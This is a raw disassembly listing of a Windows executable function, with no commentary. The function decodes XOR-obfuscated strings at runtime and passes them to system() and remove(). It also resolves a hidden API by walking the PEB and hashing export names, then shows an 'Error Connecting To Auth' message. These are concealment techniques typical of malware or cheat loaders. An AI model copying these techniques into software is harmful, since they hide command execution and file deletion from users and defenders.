movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x120]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov dword [rsp + 0x38], r12d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], rax
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x88]
call fcn.14006f570
nop
nop dword [rax]
mov dword [rsp + 0x38], r12d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rax
lea rdx, [rsp + 0x38]
lea rcx, [rbp]
call fcn.14006f570
mov rsi, qword [rbp + 0x90]
mov r14, qword [rbp + 0x88]
sub rsi, r14
sar rsi, 5
mov r12, qword [rbp + 8]
mov rax, r12
mov r15, qword [rbp]
sub rax, r15
sar rax, 5
cmp rsi, rax
jne 0x140073507
xor edi, edi
test rsi, rsi
je 0x140073066
lea rbx, [r15 + 0x18]
sub r14, r15
nop
lea rdx, [rbx - 0x18]
cmp qword [rbx], 0x10
jb 0x14007302d
mov rdx, qword [rdx]
mov r8, qword [r14 + rbx - 8]
lea rcx, [r14 - 0x18]
add rcx, rbx
cmp qword [rbx + r14], 0x10
jb 0x140073043
mov rcx, qword [rcx]
cmp r8, qword [rbx - 8]
jne 0x140073292
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140073292
inc rdi
add rbx, 0x20
cmp rdi, rsi
jb 0x140073020
test r15, r15
je 0x1400730af
mov rdx, r12
mov rcx, r15
call fcn.140060080
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400730aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140073553
call fcn.1400e44b0
mov eax, dword [0x1400fffa8]
mov dword [rbp - 0x70], eax
movzx eax, word [0x1400fffac]
mov word [rbp - 0x6c], ax
movzx eax, byte [0x1400fffae]
movups xmm0, xmmword [0x1400fff98]
mov byte [rbp - 0x6a], al
movups xmmword [rbp - 0x80], xmm0
xor r12d, r12d
mov r8d, r12d
cmp r13d, 2
jl 0x14007323f
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1401004b0]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rbp], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rbp]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140073130
cmp r8d, 0x17
jge 0x140073283
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140073250
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140072fc0
test r15, r15
je 0x1400732db
mov rdx, r12
mov rcx, r15
call fcn.140060080
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400732d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140073553
call fcn.1400e44b0
movups xmm0, xmmword [0x1400fff98]
movups xmmword [rbp - 0x80], xmm0
mov eax, dword [0x1400fffa8]
mov dword [rbp - 0x70], eax
movzx eax, word [0x1400fffac]
mov word [rbp - 0x6c], ax
movzx eax, byte [0x1400fffae]
mov byte [rbp - 0x6a], al
xor ebx, ebx
mov r8d, ebx
cmp r13d, 2
jl 0x140073461
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x1401004b0]
mov eax, Ordinal_33
movd xmm8, eax
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rbp], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rbp]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140073352
cmp r8d, 0x17
jge 0x1400734a3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x140073470
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
mov rcx, qword [rbp + 0x88]
test rcx, rcx
je 0x140073571
mov rdx, qword [rbp + 0x90]
call fcn.140060080
mov rdx, qword [rbp + 0x98]
mov rcx, qword [rbp + 0x88]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007355a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007355a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
test r15, r15
je 0x1400732db
mov rdx, r12
mov rcx, r15
call fcn.140060080
mov rdx, qword [rbp + 0x10]
mov rcx, qword [rbp]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400732d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400732d6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400e44b0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x88], xmm0
mov qword [rbp + 0x98], rbx
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], rdi
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x11c], edx
lea rcx, [rbp + 0x128]
call fcn.14005e230
lea rcx, [rbp + 0x130]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rbp + 0xa0]
test rcx, rcx
je 0x14007361f
mov rdx, qword [rbp + 0xb0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073608
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073608
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], rbx
mov rax, qword [rbp + 0x230]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x230], rdi
mov rax, qword [rbp + 0x230]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x22c], edx
lea rcx, [rbp + 0x238]
call fcn.14005e230
lea rcx, [rbp + 0x240]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x2d8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rbp + 0xb8]
test rcx, rcx
je 0x1400736c6
mov rdx, qword [rbp + 0xc8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400736af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400736af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xb8], xmm0
mov qword [rbp + 0xc8], rbx
mov rdx, qword [rbp + 0x100]
cmp rdx, 0x10
jb 0x14007370a
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073705
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073705
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp + 0xf8], xmm0
mov byte [rbp + 0xe8], 0
mov rdx, qword [rbp + 0x80]
cmp rdx, 0x10
jb 0x140073762
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007375d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007375d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rbp + 0x78], xmm0
mov byte [rbp + 0x68], 0
mov rax, qword [rbp + 0x340]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x340], rdi
mov rax, qword [rbp + 0x340]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x33c], edx
lea rcx, [rbp + 0x348]
call fcn.14005e230
lea rcx, [rbp + 0x350]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x3e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rbp + 0xd0]
test rcx, rcx
je 0x14007381a
mov rdx, qword [rbp + 0xe0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140073803
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140073803
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rbx
mov rax, qword [rbp + 0x450]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x450], rdi
mov rax, qword [rbp + 0x450]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x44c], edx
lea rcx, [rbp + 0x458]
call fcn.14005e230
lea rcx, [rbp + 0x460]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x4f8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rbp + 0x108]
test rcx, rcx
je 0x140073977
mov rdx, qword [rbp + 0x118]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400738ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400738ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
jmp 0x140073977
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140073946
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140073946
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140073941
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140073920
cmp r8d, 0x31a98fee
je 0x14007394b
test r9d, r9d
jne 0x140073900
mov rax, qword [rax]
jmp 0x1400738d0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Error_Connecting_To_Auth
xor ecx, ecx
call rax
mov rcx, qword [rbp + 0x560]
xor rcx, rsp
call fcn.1400e4490
lea r11, [rsp + 0x6a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret